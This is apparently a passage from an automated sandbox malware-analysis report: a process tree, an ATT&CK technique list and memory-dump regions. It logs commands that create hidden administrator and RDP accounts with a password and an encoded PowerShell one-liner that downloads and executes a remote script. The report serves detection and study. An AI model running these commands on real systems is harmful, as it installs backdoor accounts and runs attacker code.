  PID:1900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
    3⤵
    PID:2072

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2868
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1452

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 7R4k4ROY
1⤵
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 7R4k4ROY
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 7R4k4ROY
    3⤵
    PID:2100

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:3404
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:3624

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1544
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:3484

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:644
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:3252

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

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memory/908-284-0x0000020EC7F90000-0x0000020EC7F92000-memory.dmp

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8KB

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memory/908-285-0x0000020EC7F93000-0x0000020EC7F95000-memory.dmp

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8KB

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memory/908-286-0x0000020EC7F96000-0x0000020EC7F98000-memory.dmp

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8KB

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memory/908-295-0x0000020EC7F98000-0x0000020EC7F9A000-memory.dmp

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8KB

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memory/1404-210-0x00000200AC2F8000-0x00000200AC2FA000-memory.dmp

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8KB

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memory/1404-174-0x00000200921A0000-0x00000200921A2000-memory.dmp

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8KB

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memory/1404-168-0x00000200921A0000-0x00000200921A2000-memory.dmp

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8KB

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memory/1404-200-0x00000200AC2F6000-0x00000200AC2F8000-memory.dmp

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8KB

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memory/1404-178-0x00000200921A0000-0x00000200921A2000-memory.dmp

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8KB

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memory/1404-176-0x00000200AC2F3000-0x00000200AC2F5000-memory.dmp

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8KB

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memory/1404-175-0x00000200AC2F0000-0x00000200AC2F2000-memory.dmp

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8KB

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memory/1404-173-0x00000200921A0000-0x00000200921A2000-memory.dmp

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8KB

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memory/1404-171-0x00000200921A0000-0x00000200921A2000-memory.dmp

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8KB

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memory/1404-170-0x00000200921A0000-0x00000200921A2000-memory.dmp

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8KB

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memory/1404-169-0x00000200921A0000-0x00000200921A2000-memory.dmp

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8KB

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memory/2424-117-0x0000000000400000-0x0000000000788000-memory.dmp

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3.5MB

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memory/2424-116-0x00000000007E0000-0x00000000007E9000-memory.dmp

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36KB

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memory/3024-118-0x0000000000D10000-0x0000000000D26000-memory.dmp

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88KB

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memory/3152-241-0x00000251B9B40000-0x00000251B9B42000-memory.dmp

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8KB

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memory/3152-243-0x00000251B9B46000-0x00000251B9B48000-memory.dmp

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8KB

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memory/3152-242-0x00000251B9B43000-0x00000251B9B45000-memory.dmp

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8KB

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memory/3152-283-0x00000251B9B48000-0x00000251B9B4A000-memory.dmp

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8KB

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memory/3252-402-0x0000026D20F68000-0x0000026D20F69000-memory.dmp

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4KB

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memory/3252-388-0x0000026D20F66000-0x0000026D20F68000-memory.dmp

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8KB

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memory/3252-383-0x0000026D20F63000-0x0000026D20F65000-memory.dmp

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8KB

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memory/3252-382-0x0000026D20F60000-0x0000026D20F62000-memory.dmp

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8KB

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memory/3960-126-0x00000205E8AB5000-0x00000205E8AB6000-memory.dmp

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4KB

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memory/3960-125-0x00000205E8AB3000-0x00000205E8AB5000-memory.dmp

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8KB

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memory/3960-124-0x00000205E8AB0000-0x00000205E8AB2000-memory.dmp

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8KB

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memory/3960-127-0x00000205E8AB6000-0x00000205E8AB7000-memory.dmp

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4KB

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memory/3960-122-0x00000205E8ED0000-0x00000205E92CF000-memory.dmp

Filesize
4.0MB

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memory/4060-132-0x0000018DB7410000-0x0000018DB7412000-memory.dmp

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8KB

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memory/4060-129-0x0000018DB7410000-0x0000018DB7412000-memory.dmp

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8KB

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memory/4060-131-0x0000018DB7410000-0x0000018DB7412000-memory.dmp

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8KB

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memory/4060-144-0x0000018DD1206000-0x0000018DD1208000-memory.dmp

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8KB

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memory/4060-156-0x0000018DD1208000-0x0000018DD1209000-memory.dmp

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4KB

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memory/4060-133-0x0000018DD1310000-0x0000018DD1311000-memory.dmp

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4KB

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memory/4060-152-0x0000018DD1460000-0x0000018DD1461000-memory.dmp

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4KB

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memory/4060-130-0x0000018DB7410000-0x0000018DB7412000-memory.dmp

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8KB

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memory/4060-159-0x0000018DD1A70000-0x0000018DD1A71000-memory.dmp

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4KB

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memory/4060-134-0x0000018DD1200000-0x0000018DD1202000-memory.dmp

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8KB

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memory/4060-135-0x0000018DD1203000-0x0000018DD1205000-memory.dmp

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8KB

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memory/4060-136-0x0000018DB7410000-0x0000018DB7412000-memory.dmp

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8KB

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memory/4060-137-0x0000018DB7410000-0x0000018DB7412000-memory.dmp

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8KB

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memory/4060-138-0x0000018DD14C0000-0x0000018DD14C1000-memory.dmp

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4KB

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memory/4060-140-0x0000018DB7410000-0x0000018DB7412000-memory.dmp

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8KB

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memory/4060-160-0x0000018DD1E00000-0x0000018DD1E01000-memory.dmp

Filesize
4KB

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